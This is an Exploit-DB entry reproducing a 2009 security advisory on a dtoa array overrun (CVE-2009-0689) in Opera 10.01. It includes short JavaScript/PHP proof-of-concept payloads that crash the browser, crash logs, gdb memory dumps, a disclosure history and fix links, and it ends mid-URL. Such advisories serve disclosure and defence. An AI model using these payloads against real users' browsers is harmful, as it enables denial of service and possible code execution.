Exploit-DB #10187
Description: Opera 10.01 - Remote Array Overrun
Type: dos
Platform: bsd
Date: 2009-11-19
Author: Maksymilian Arciemowicz & sp3x

Exploit:
From Full Disclosure:  http://seclists.org/fulldisclosure/2009/Nov/223

[ Opera 10.01 Remote Array Overrun (Arbitrary code execution) ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:
- - Dis.: 07.05.2009
- - Pub.: 20.11.2009

CVE: CVE-2009-0689
Risk: High
Remote: Yes

Affected Software:
- - Opera 10.01
- - Opera 10.10 Beta

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/73


- --- 0.Description ---
Opera is a Web browser and Internet suite developed by the Opera
Software company. The browser handles common Internet-related tasks such
as displaying Web sites, sending and receiving e-mail messages, managing
contacts, IRC online chatting, downloading files via BitTorrent, and
reading Web feeds. Opera is offered free of charge for personal
computers and mobile phones.


- --- 1. Opera 10.01 Remote Array Overrun (Arbitrary code execution) ---
The main problem exist in dtoa implementation. Opera has a very similar
dtoa algorithm to the BSD, Chrome and Mozilla products. It is the same
issue like SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it
is possible to call 16<= elements of freelist array.


- --- 2. Proof of Concept  (PoC) ---

- -----------------------
<script>
var a=0.<?php echo str_repeat("9",299999); ?>;
</script>
- -----------------------

If we use Opera to see this PoC, Opera will crash. For example

- -----------------------
<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
- -----------------------

OPERA-CRASHLOG V1 desktop 10.01 1844 windows
Opera.exe 1844 caused exception C0000005 at address 67956906 (Base: 400000)

Registers:
EAX=01165C40   EBX=0592064C   ECX=A0D589D4   EDX=42000000   ESI=C20471EC
EDI=00000000   EBP=0012E384   ESP=0012E2FC   EIP=67956906 FLAGS=00010202
CS=001B   DS=0023   SS=0023   ES=0023   FS=003B   GS=0000
FPU stack:
C020A38F66534266F000 C020A38F66534266F000 3FFBE38E38E38E38D800
3FC[PII_REDACTED]0[PII_REDACTED][PII_REDACTED]000000 0BBE[PII_REDACTED]040000[PII_REDACTED][PII_REDACTED] 2EBA804E2FDE00000000 SW=0122 CW=027F

127# gdb -q opera opera.core
...
Program terminated with signal 11, Segmentation fault.
#0  0x2960307b in ?? ()
...
(gdb) i r
eax            0x71c71c71      [PII_REDACTED]
ecx            0x2aa03be4       715144164
edx            0x0      0
ebx            0x296177f8       694253560
esp            0xbfbfb650       0xbfbfb650
ebp            0xbfbfb698       0xbfbfb698
esi            0x2962d000       694341632
edi            0x0      0
eip            0x2960307b       0x2960307b
...
(gdb) x/100x ($esi)-90
0x2962cfa6:     0x71c71c71      0x1c71c71c      0xc71c71c7      0x71c71c71
0x2962cfb6:     0x1c71c71c      0xc71c71c7      0x71c71c71      0x1c71c71c
0x2962cfc6:     0xc71c71c7      0x71c71c71      0x1c71c71c      0xc71c71c7
0x2962cfd6:     0x71c71c71      0x1c71c71c      0xc71c71c7      0x71c71c71
0x2962cfe6:     0x1c71c71c      0xc71c71c7      0x71c71c71      0x1c71c71c
0x2962cff6:     0xc71c71c7      0x71c71c71      Cannot access memory at
address 0x2962cffe
...


- --- 3. SecurityReason Note ---

Officialy SREASONRES:20090625 has been detected in:
- - OpenBSD
- - NetBSD
- - FreeBSD
- - MacOSX
- - Google Chrome
- - Mozilla Firefox
- - Mozilla Seamonkey
- - KDE (example: konqueror)
- - Opera
- - K-Meleon

This list is not yet closed. US-CERT declared that will inform all
vendors about this issue, however, they did not do it. Even greater
confusion caused new CVE number "CVE-2009-1563". Secunia has informed
that this vulnerability was only detected in Mozilla Firefox, but nobody
was aware that the problem affects other products like ( KDE, Chrome )
and it is based on "CVE-2009-0689". After some time Mozilla Foundation
Security Advisory
("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html";)
was updated with note :
"The underlying flaw in the dtoa routines used by Mozilla appears to be
essentially the same as that reported against the libc gdtoa routine by
Maksymilian Arciemowicz ( CVE-2009-0689)".
This fact ( new CVE number for Firefox Vulnerability )and PoC in
javascript (from Secunia), forced us to official notification all other
vendors. We publish all the individual advisories, to formally show all
vulnerable software and to avoid wrong CVE number. We do not see any
other way to fix this issue in all products.


- --- 4. Fix ---
Opera fix:
The vulnerability was fixed in the latest release candidate Opera RC3 :
http://snapshot.opera.com/windows/Opera_1010_1890_in.exe
In shortly time we can expect the final verion of Opera with the fix.

NetBSD fix (optimal):
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h

OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/c